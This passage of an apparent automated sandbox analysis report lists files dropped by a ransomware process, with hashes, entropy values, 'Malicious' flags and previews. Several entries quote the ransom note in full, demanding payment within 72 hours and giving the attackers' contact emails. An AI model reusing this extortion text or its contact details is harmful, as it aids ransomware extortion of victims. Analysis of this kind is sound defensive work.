                                                                                                                                                                Preview:..x{....=M.>.}k.NG.[....*..k.).XA..?.....[:.,..........fM.ocked=1....^J.4.N...mp...8........"J...IR:O...yJtt..K.:......g.e%.*..e.*....../..'J.;.b...^....o5.F}Y.B.m.M.G).SV@...J.....h..xe.u"....C....U..v...I.~2t5..8...V.8.1qQN2.~.*Cw..U.......F.B8.....k..?7-....^$:y........t.Lm...!....!9!.....O..-......3'.M...B.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):341
                                                                                                                                                                Entropy (8bit):7.358370396978785
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:T1vtVwgyzBbuHvBRfrEY3gctIuX78i7tWN1A2LORd/mZw3UIX9rofkU1wd3mn:hvt3ypk5r6ctRXgihMA2LORFiwkIXi/9
                                                                                                                                                                MD5:25EC292149095E17C6D6DB989012F66A
                                                                                                                                                                SHA1:80645EDEAD7A3D714E1DF4CE72AB4BC0484681A8
                                                                                                                                                                SHA-256:580AD48EB6715825A513160DF83C272B0C8BAC693F09AEBF4739FD15D1C53FF9
                                                                                                                                                                SHA-512:F977F2075B31AE709C6BE132F7155AAE771D1E10FF462213DBB73C23524E431689C720E7CF733FFB3AD154840E3BB0DD25B14E953FD3448CA1335755E0BA2F54
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..x{....=M.>.}k.NG.[....*..k.).XA..?.....[:.,..........fM.ocked=1....^J.4.N...mp...8........"J...IR:O...yJtt..K.:......g.e%.*..e.*....../..'J.;.b...^....o5.F}Y.B.m.M.G).SV@...J.....h..xe.u"....C....U..v...I.~2t5..8...V.8.1qQN2.~.*Cw..U.......F.B8.....k..?7-....^$:y........t.Lm...!....!9!.....O..-......3'.M...B.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):571
                                                                                                                                                                Entropy (8bit):7.629107096038738
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:QvNGscbYqvulQYXBGKrUSafRF+3QfDlaUEh/fgFePykqFolhhmjlEA3sK6uBWhmD:Qv4scbY6ullBdrDoR3fDlaZhHgTkqFoq
                                                                                                                                                                MD5:A2468E330EBD6A0494FEA16049648C4A
                                                                                                                                                                SHA1:88A16A0A17549C080D71132BA0B94244B6F6B117
                                                                                                                                                                SHA-256:534C66EFAFDCD3DC554961B31BE2A938998D8ACFBF0D15E69960C72E95F9D391
                                                                                                                                                                SHA-512:E2600643427BACEFCB89B4B99C85937CF9D6315D7F00D0C821ED37481825EC6B9631974EB46B79523D66B0B6D5264C5908AC5C63175E7AFE046C73F2FE3B5C74
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.-Q.........Z+..../+.c......A...b...}. .JA.oS..,.7S[.".....h.....a."....."X).....5.."MT..Bk.!&..V.6.{..Yj..K. .._.."/.5_..a.u/....@.ug..0..\.@...S.].mG......O......A..?Z..d`.539I..u.AFC.1..i.m.Lw....\~../....N.\...P...r......k*z/......Y.t.y....n.B..([*..`T(..E.3......6..........<......a.. .%7%<..;PR..>.....?..3...A..n....|....m..[...\#......o..jGJ.`...qj...s...~D.........%...z3.ED..;W."..Dw5.j1.f..5v.....B..}....m2..6.......`...~...2....!....M....+s<.a...{..i...3...Mf.z.Lb..........oL6..6R.o...c}........%o/H%....5E=|.|a..HD..d.V.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):571
                                                                                                                                                                Entropy (8bit):7.629107096038738
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:QvNGscbYqvulQYXBGKrUSafRF+3QfDlaUEh/fgFePykqFolhhmjlEA3sK6uBWhmD:Qv4scbY6ullBdrDoR3fDlaZhHgTkqFoq
                                                                                                                                                                MD5:A2468E330EBD6A0494FEA16049648C4A
                                                                                                                                                                SHA1:88A16A0A17549C080D71132BA0B94244B6F6B117
                                                                                                                                                                SHA-256:534C66EFAFDCD3DC554961B31BE2A938998D8ACFBF0D15E69960C72E95F9D391
                                                                                                                                                                SHA-512:E2600643427BACEFCB89B4B99C85937CF9D6315D7F00D0C821ED37481825EC6B9631974EB46B79523D66B0B6D5264C5908AC5C63175E7AFE046C73F2FE3B5C74
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.-Q.........Z+..../+.c......A...b...}. .JA.oS..,.7S[.".....h.....a."....."X).....5.."MT..Bk.!&..V.6.{..Yj..K. .._.."/.5_..a.u/....@.ug..0..\.@...S.].mG......O......A..?Z..d`.539I..u.AFC.1..i.m.Lw....\~../....N.\...P...r......k*z/......Y.t.y....n.B..([*..`T(..E.3......6..........<......a.. .%7%<..;PR..>.....?..3...A..n....|....m..[...\#......o..jGJ.`...qj...s...~D.........%...z3.ED..;W."..Dw5.j1.f..5v.....B..}....m2..6.......`...~...2....!....M....+s<.a...{..i...3...Mf.z.Lb..........oL6..6R.o...c}........%o/H%....5E=|.|a..HD..d.V.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.26890975936658
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:gKBUZDzMQ7K3G6Bn/gSUdJ5bOoMc8s4GEaE2dfNaTM5n:glDzMQev/gSURN58sIH6F55n
                                                                                                                                                                MD5:90CF3629E41F68703C4E7433F9678E14
                                                                                                                                                                SHA1:312A0DA80F93FD2A583102FC54329496B7139267
                                                                                                                                                                SHA-256:0AA1389A6563831BBAC1B104389A22B833AC5632F10C27012990666741D6A014
                                                                                                                                                                SHA-512:26D3E3C605822F074FFDBD52CC3F37A1B92AE78229868A2C4356F938DF1BC8B5EF168A7EC916DFAAC3719FA4CD17054918ED9ECA1F097ADB1B1461F4DABD655B
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:}(.......[W...5..........~.I....C:..o"g...c.E........>..'.*.^@.....u...?...'......0*...thP..WkvS`..D..*z...;.~.C6....#a_.bH..!............).CH...7..4.-.....}.n"....\......MS....QDYq....8U...)<E...q.d.....M.9JB...4&.....isr...[f.fR...C..t..,%...Hy.n..o..?|.r.Ddw.........<*0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.84802758912006
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:rUl63iSLz03wFM3CNlNdhJtssj7mdaKfNHv90ew48iD13e4SGbDy:AlqVmwF2+NFGYidaAKNiZ16
                                                                                                                                                                MD5:D501F9D51791FE04E8D5BD1A97E5ECAA
                                                                                                                                                                SHA1:0CCE54011EB98A211DFD58112A582FEFD6918D37
                                                                                                                                                                SHA-256:A50C0315DE264D09257D939F0863869F22E73DACA6BF32C61DFBF6EA8489A0D2
                                                                                                                                                                SHA-512:20C21A1AB1376A619128434C6FE49DCF591D02D48DE107A28D5B77A3C15A2839195A451F31A964D8E51355E244C1478492012D221743DBF0511E88E80D21D0A6
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..iC..}...E.....I.O2 ..d..q..O..b*...;f.:O..{xY.&p.....u.M."..H..|...Ml.0+.~.8.xP*z....ZH.*.4...V.G......A7.~m^e..;j.....5b\0....0.zr..>Y......O..-..;9z..5.<Dv..'..,..N.....nsD..Y=V.o...\..gI3kb........[m.W.-G.A. +..%&!R.....2.Wi.pg%.'.a.-Q..n..4+...K....6J..-...@pI..yr..k..t..'..1.ypC.^....9..u...1...W,}.{....~..i...u...<g........HT.;...E.....Vn6......E.. .>......tZZ.8.....d..q....2`{J........D......x..!..R..a......T..o...a..V.5x..&.2.}..5 ......9.(]mw..z6....2....^.?.q).V..^...L.=I..g...qgh..S8p.."..GG?.[:..".......U3S../}.#.jt.6..N.^W..S..v9*(|.A.....w-....)1O...\.......[...Q.,HH....-Of.X);.[+O..#..:T....:#..oQ..f..}....xJ.}{30.?..zt8hD..........xm...9..ZX.z...L3F..,...?m..`.B0...c4.8..k...R...@.#.y..D.l.;.A5....~'.Qa.........[?.s)...=..7.r.....}..T..b..8...dtRB'..m^.$sS.w[vt.CQ..P...;y....C{..W&.*......cV.S.]i.3=.n...I"/.W.A.y.i.9.\..c.o...(."R...n...:Aw..k...W.|....m.SQ'.y...CQ]~.+..}]..F..i.......>v.......l.R.....Y...Q..~...uE.f..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.84802758912006
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:rUl63iSLz03wFM3CNlNdhJtssj7mdaKfNHv90ew48iD13e4SGbDy:AlqVmwF2+NFGYidaAKNiZ16
                                                                                                                                                                MD5:D501F9D51791FE04E8D5BD1A97E5ECAA
                                                                                                                                                                SHA1:0CCE54011EB98A211DFD58112A582FEFD6918D37
                                                                                                                                                                SHA-256:A50C0315DE264D09257D939F0863869F22E73DACA6BF32C61DFBF6EA8489A0D2
                                                                                                                                                                SHA-512:20C21A1AB1376A619128434C6FE49DCF591D02D48DE107A28D5B77A3C15A2839195A451F31A964D8E51355E244C1478492012D221743DBF0511E88E80D21D0A6
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..iC..}...E.....I.O2 ..d..q..O..b*...;f.:O..{xY.&p.....u.M."..H..|...Ml.0+.~.8.xP*z....ZH.*.4...V.G......A7.~m^e..;j.....5b\0....0.zr..>Y......O..-..;9z..5.<Dv..'..,..N.....nsD..Y=V.o...\..gI3kb........[m.W.-G.A. +..%&!R.....2.Wi.pg%.'.a.-Q..n..4+...K....6J..-...@pI..yr..k..t..'..1.ypC.^....9..u...1...W,}.{....~..i...u...<g........HT.;...E.....Vn6......E.. .>......tZZ.8.....d..q....2`{J........D......x..!..R..a......T..o...a..V.5x..&.2.}..5 ......9.(]mw..z6....2....^.?.q).V..^...L.=I..g...qgh..S8p.."..GG?.[:..".......U3S../}.#.jt.6..N.^W..S..v9*(|.A.....w-....)1O...\.......[...Q.,HH....-Of.X);.[+O..#..:T....:#..oQ..f..}....xJ.}{30.?..zt8hD..........xm...9..ZX.z...L3F..,...?m..`.B0...c4.8..k...R...@.#.y..D.l.;.A5....~'.Qa.........[?.s)...=..7.r.....}..T..b..8...dtRB'..m^.$sS.w[vt.CQ..P...;y....C{..W&.*......cV.S.]i.3=.n...I"/.W.A.y.i.9.\..c.o...(."R...n...:Aw..k...W.|....m.SQ'.y...CQ]~.+..}]..F..i.......>v.......l.R.....Y...Q..~...uE.f..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.832471940499611
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:c8udXpQTb0LVrIoAQOPmJLkSqgE8Ydvif5dd3AbpCf9BbHElW5cDw:cDZYkVrIHcrtYViEpCfjv5cM
                                                                                                                                                                MD5:D65538168C87FB976D209DC2C85F53B9
                                                                                                                                                                SHA1:39DD4A3C7A5B06AC43A6CE31D2A277B828FCD2B0
                                                                                                                                                                SHA-256:EB1CA3B1B9134538DF6574D99112BA447AD4DB9BDFBCE723D402F19F2955ABC0
                                                                                                                                                                SHA-512:03B55C16E448830E8F01C03DD14FBCCAE35690886FACA961FAE5537A90F331A2227EA641C095971DD9701B3FD7FCF9C51AEDAD4595EDC97D1A7CFB510972F873
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:$........R.}.2..6..^.....!.oY.P..NN.w...,\.8>.y..4)).....V..] ...3`b..C{.{.2w^[...ty..o....x..6[.a..*..d.....h...."3.,I}......~..-.Y.B..T6...c...*.y.y.D..4...."......7k...T..&..ps<.....T.....f....k.U~.p.?2...:j."...E..d.9....Z....O.L@.>....n...y.8...m......t..K7..HEKa.X.......v.A...7?.=j$f.E....,e..H.B.6.+..z....v...O.2...JZ2...A64X..1...3...[..u@.R..Y...n.%....V......cb.*.<...vE.U.....^..k.rq.6.$..5q..qaE.jO.d..I.`u..,..FT..P'O(...O..?wkou.....\zC..-..H......E......WOP.\......,..94U.~.(.G1.?.#._oY.9.8.j...Jl..4.,. @..v.[..(.t(.CV.?g..&r..vT%Si.&..q...9.6"..5....%...K.....L-J.$?a.PD.....fiQ.e.!@,$a..@..p.U...=x....2..;!I.......fa..S..;...a.2..........y.N..$..k:7.q....%N.<..`.PE..%..2p&r_Q..^.....r...~..&4xR.0.6..m....U...3..?Q...h~Q...P.<N.[.a.r..H..,j.....QV......\...J.y=d..........g..<....%......nm.A..C....,..kJ...-.W)..@\.S...EN..Yx+v.I....8.....4Q ..!..b.#.R.....(..8V.....B.-.yx.2..W+G..>..Y.r.U ....*../^I.7.n.....x.Q.=,..=
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.832471940499611
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:c8udXpQTb0LVrIoAQOPmJLkSqgE8Ydvif5dd3AbpCf9BbHElW5cDw:cDZYkVrIHcrtYViEpCfjv5cM
                                                                                                                                                                MD5:D65538168C87FB976D209DC2C85F53B9
                                                                                                                                                                SHA1:39DD4A3C7A5B06AC43A6CE31D2A277B828FCD2B0
                                                                                                                                                                SHA-256:EB1CA3B1B9134538DF6574D99112BA447AD4DB9BDFBCE723D402F19F2955ABC0
                                                                                                                                                                SHA-512:03B55C16E448830E8F01C03DD14FBCCAE35690886FACA961FAE5537A90F331A2227EA641C095971DD9701B3FD7FCF9C51AEDAD4595EDC97D1A7CFB510972F873
                                                                                                                                                                Malicious:false
